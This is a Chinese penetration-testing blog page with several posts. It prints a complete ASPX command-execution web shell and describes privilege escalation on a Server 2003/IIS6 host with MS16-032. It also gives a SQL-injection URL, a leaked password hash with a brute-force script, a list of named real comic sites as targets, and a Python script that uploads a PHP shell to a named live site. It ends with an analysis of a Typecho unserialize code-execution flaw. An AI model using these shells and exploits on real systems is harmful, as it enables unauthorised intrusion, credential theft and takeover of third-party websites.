分类 渗透测试 下的文章

分享一个Windows提权小技巧


当我们遇到Windows的提权的时候
php有时候安全模式执行不了
我们可以尝试asp来执行
但是如果asp也不支持的话 就可以试试net
因为现在的服务器大部分都是集成环境
例如宝塔 PHPstudy 或者护卫神
除了phpstudy的话 另外两个很大几率都是支持aspx的
但是遇到aspx无法编译的时候 可以在根目录创建一个web.config文件来试试

<!-- Web.Config 配置文件 -->

<configuration>
    <system.web>
        <customErrors mode="Off"/>
    </system.web>
</configuration>

aspx cmd文件

<%@ Page Language="C#" AutoEventWireup="true"%>
<%@ import Namespace="System.Diagnostics"%>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<script runat="server" language="C#">
    protected void Page_Load(object sender, EventArgs e)
    {
        if(!IsPostBack) curdir.Text = Server.MapPath(".");
    }
    protected string RunCmd(string path, string cmd, string curdir)
    {
        string retval = "";

        try
        {
            Process p = new Process();
            p.StartInfo.FileName = path;
            p.StartInfo.UseShellExecute = false;
            p.StartInfo.WorkingDirectory = curdir;
            p.StartInfo.RedirectStandardError = true;
            p.StartInfo.RedirectStandardInput = true;
            p.StartInfo.RedirectStandardOutput = true;
            p.StartInfo.CreateNoWindow = true;
            p.StartInfo.Arguments = cmd;
            p.Start();
            p.StandardInput.WriteLine("exit");
            retval = "rn----------- 运行结果 --------------rn";
            retval += p.StandardOutput.ReadToEnd();
            retval += "rn----------- 程序错误 --------------rn";
            retval += p.StandardError.ReadToEnd();
        }
        catch (Exception err)
        {
            retval = err.Message;
        }

        return retval;
    }
    protected void Execute_Click(object sender, EventArgs e)
    {
        string path = cmdpath.Text;
        string cmd = cmdline.Text;
        string wkdir = curdir.Text;

        result.Text = RunCmd(path, cmd, wkdir);
    }
    
</script>
<html xmlns="http://www.w3.org/1999/xhtml"; >
<head runat="server">
    <title>剑眉大侠 and Cmd.aspx</title>
</head>
<body>
    <form id="form1" runat="server">
    <div style="text-align: left">
        <span style="color: #ff99ff">Cmd.aspx powered by 剑眉大侠

</span>CMD Path:<asp:TextBox ID="cmdpath" runat="server" Width="755px">c:windowssystem32cmd.exe</asp:TextBox>
CurrentDir:<asp:TextBox ID="curdir" runat="server" Width="755px"></asp:TextBox>
CMD Line:<asp:TextBox ID="cmdline" runat="server" Width="756px">/c set</asp:TextBox> <asp:Button ID="Execute" runat="server" OnClick="Execute_Click" Text="Execute" />

<asp:TextBox ID="result" runat="server" Height="460px" TextMode="MultiLine" Width="901px"></asp:TextBox></div> </form> </body> </html>

实战帮朋友提一个服务器2003+IIS6.0


博客.png

大晚上的突然搞一个shell过来
进来看到是2003+iis6.0的环境 感觉好像没啥补丁
毕竟2003基本的服务商都停掉这个系统了
组件不支持asp执行 只能试试上aspx了
2.png

好家伙 直接拒绝访问
用文件扫了一下 c d盘都没有写入权限 只能在网站根目录写了
直接上传一个exp ms16-032
结果直接秒了 卧槽
3.png

他这是直接在我嘴里种水稻阿?
但是在这里又遇到了一个问题 百度云节点
4.png

当我尝试ipconfig的之后 找不到ip地址来连接
直接输入域名就是节点ip
但是用 netstat -ano查询的时候 就找到了网站的真实ip了
5.png

然后 查了一下端口
REG query HKLMSYSTEMCurrentControlSetControlTerminal" "ServerWinStationsRDP-Tcp /v PortNumber
6.png

完事 走人。


歪歪漫画前台注入


tp3.2.3的框架 通杀漏洞
http://www.xxmh520.com/home/book/index/id/13559*
漫画目录id过滤不严谨造成的注入 后台 admin或者admin.php
但是上个文章说到 用的是password_hash来加密的
验证的话呢 就是password_verify
如果有头铁的大哥想试试猜组合密码的话 附上以下php脚本

<?php 
function randomkeys($length) {
    $returnStr='';
    $pattern = '1234567890';   //随机数可以自己添加
    for($i = 0; $i < $length; $i ++) {
        $returnStr .= $pattern {mt_rand ( 0, 10 )}; //生成php随机数
    }
    return $returnStr;
}
for ($i=0; $i < 200; $i++) {  //循环几次
    $hash = '$2y$10$wdFK9JBse5HoOGbihwR.q.YXcmC44i3owBckvMhV06gmLvG5UlRHO';  //这个值呢 是SQL注入之后sqlmap里面获取管理员的密码值出来的  aa654339
    $login = "aa65433".randomkeys(1); //输出几位
    if (password_verify($login,$hash)) {
        echo $login."成功";
        exit();
    }else{
        echo $login.randomkeys(1)."n";
    }

}


 ?>

如果遇到乱码 请在cmd执行 chcp 65001
下面送一波采集的站

http://www.gomh555.com/
http://www.wap.hgmh12.com/
http://hgdm5.com/
http://papamhw.com/
http://xxmh.me/
http://manhua.ww01.net/
http://yymh228.com/
http://www.wwhanman.com/
http://17z.me/
http://99ymh.com/
http://k03.me/
https://www.ihgmh.com/
http://www.wy555.cn/
http://yy.ue321.cn/
http://www.xxmh520.com/

歪歪漫画前台无限制getshell


这是一个前段时间拿到的一个getshell
由于网站用户是用password_hash解不开 所以现在才发出来
需要安装requests库
用法:python 文件名.py

import requests
import json
from urllib.parse import urlparse

def upload_shell(url):
    #vn_url="http://www.wap.hgmh12.com/admin/FileUpload/uploadfile"
    vn_url = url + "/admin/FileUpload/uploadfile"
    files={"file":("t00ls.php",open("t00ls.php","rb"))}
    try:
        res=requests.post(vn_url,files=files)
        res=res.json()
        domain = urlparse(vn_url)
        domain = domain.scheme+"://"+domain.netloc
        shell_address = domain + res"data"
        shell_code = requests.get(shell_address).status_code
        if shell_code == 200:
            print("[+] Success Url:%s"%shell_address)
            filename = 'shell.txt'
            with open(filename, 'w') as file_object:
                file_object.write("Success Url:%s"%shell_address%"密码:pass")
        elif shell_code == 500 :
            print("[-] Shell is 500 %s" % shell_address)
        elif shell_code == 404:
            print("[-] Faild Error")
    except Exception as e:
        print(e)
    
    



upload_shell("https://www.yymh556.com/")

Typecho 反序列化漏洞导致前台getshell


最早知道这个漏洞是在一个微信群里,说是install.php文件里面有个后门,看到别人给的截图一看就知道是个PHP反序列化漏洞,赶紧上服务器看了看自己的博客,发现自己也中招了,相关代码如下:
2017-10-26-15090112513058.jpg

然后果断在文件第一行加上了die;
今天下午刚好空闲下来,就赶紧拿出来代码看看。

  1. 漏洞分析

先从install.php开始跟,229~235行:
要让代码执行到这里需要满足一些条件:

//判断是否已经安装
if (!isset($_GET['finish']) && file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') && empty($_SESSION['typecho'])) {
    exit;
}

// 挡掉可能的跨站请求
if (!empty($_GET) || !empty($_POST)) {
    if (empty($_SERVER['HTTP_REFERER'])) {
        exit;
    }

    $parts = parse_url($_SERVER['HTTP_REFERER']);
    if (!empty($parts['port']) && $parts['port'] != 80 && !Typecho_Common::isAppEngine()) {
        $parts['host'] = "{$parts['host']}:{$parts['port']}";
    }

    if (empty($parts['host']) || $_SERVER['HTTP_HOST'] != $parts['host']) {
        exit;
    }
}

首先是$_GET['finish']不为空,其次是referer需要是本站,比较容易实现。
继续跟反序列化的地方:

$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));

首先使用Typecho_Cookie的get方法获取__typecho_config,get方法如下:

public static function get($key, $default = NULL)
{
    $key = self::$_prefix . $key;
    $value = isset($_COOKIE[$key]) ? $_COOKIE[$key] : (isset($_POST[$key]) ? $_POST[$key] : $default);
    return is_array($value) ? $default : $value;
}

可以看到给$value赋值这一行,如果$_COOKIE里面没有就从$_POST里面获取,所以我们测试漏洞的时候直接POST也是可以的,不用每次设置Cookie了。
反序列化漏洞要利用势必离不开魔术方法,我之前收集了一些和PHP反序列化有关的PHP函数:

__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发

install.php中有一行

$db = new Typecho_Db($config['adapter'], $config['prefix']);

其中Typecho_Db的构造函数如下,如果我们反序列化构造一个数组,其中adapter设置为一个类,那么就可以触发这个类的__toString()方法。

/**
 * 数据库类构造函数
 *
 * @param mixed $adapterName 适配器名称
 * @param string $prefix 前缀
 * @throws Typecho_Db_Exception
 */
public function __construct($adapterName, $prefix = 'typecho_')
{
    /* 获取适配器名称 /
    $this->_adapterName = $adapterName;
    /* 数据库适配器 /
    $adapterName = 'Typecho_Db_Adapter_' . $adapterName;

然后我们全局搜索__toString()方法,发现两个有搞头的文件:

/var/Typecho/Feed.php
/var/Typecho/Db/Query.php

我这里跟一下Feed.php,查看Feed.php的__toString()方法,其中第290行:

foreach ($this->_items as $item) {
    $content .= '' . self::EOL;
    $content .= '' . htmlspecialchars($item['title']) . '' . self::EOL;
    $content .= '' . $item['link'] . '' . self::EOL;
    $content .= '' . $item['link'] . '' . self::EOL;
    $content .= '' . $this->dateFormat($item['date']) . '' . self::EOL;
    $content .= '' . htmlspecialchars($item['author']->screenName) . '' . self::EOL;
    //省略........
}

其中调用了$item['author']->screenName,$item是$this->_items的foreach循环出来的,并且$this->_items是Typecho_Feed类的一个private属性。

我们可以利用这个$item来调用某个类的__get()方法,上面说过__get()方法是用于从不可访问的属性读取数据,实际执行中这里会获取该类的screenName属性,如果我们给$item['author']设置的类中没有screenName就会执行该类的__get()方法,我们继续来全局搜索一下__get()方法。

发现/var/Typecho/Request.php中的__get()方法如下:

public function __get($key)
{
    return $this->get($key);
}

跟进$this->get()方法如下:

public function get($key, $default = NULL)
{
    switch (true) {
        case isset($this->_params[$key]):
            $value = $this->_params[$key];
            break;
        case isset(self::$_httpParams[$key]):
            $value = self::$_httpParams[$key];
            break;
        default:
            $value = $default;
            break;
    }

    $value = !is_array($value) && strlen($value) > 0 ? $value : $default;
    return $this->_applyFilter($value);
}

这里没什么问题,但最后一行:

return $this->_applyFilter($value);

跟进一下发现:

private function _applyFilter($value)
{
    if ($this->_filter) {
        foreach ($this->_filter as $filter) {
            $value = is_array($value) ? array_map($filter, $value) :
            call_user_func($filter, $value);
        }

        $this->_filter = array();
    }

    return $value;
}

这个foreach里面判断如果$value是数组就执行array_map否则调用call_user_func,这俩函数都是执行代码的关键方法。而这里$filter和$value我们几乎都是可以间接控制的,所以就可以利用call_user_func或者array_map来执行代码,比如我们设置$filter为数组,第一个数组键值是assert,$value设置php代码,即可执行。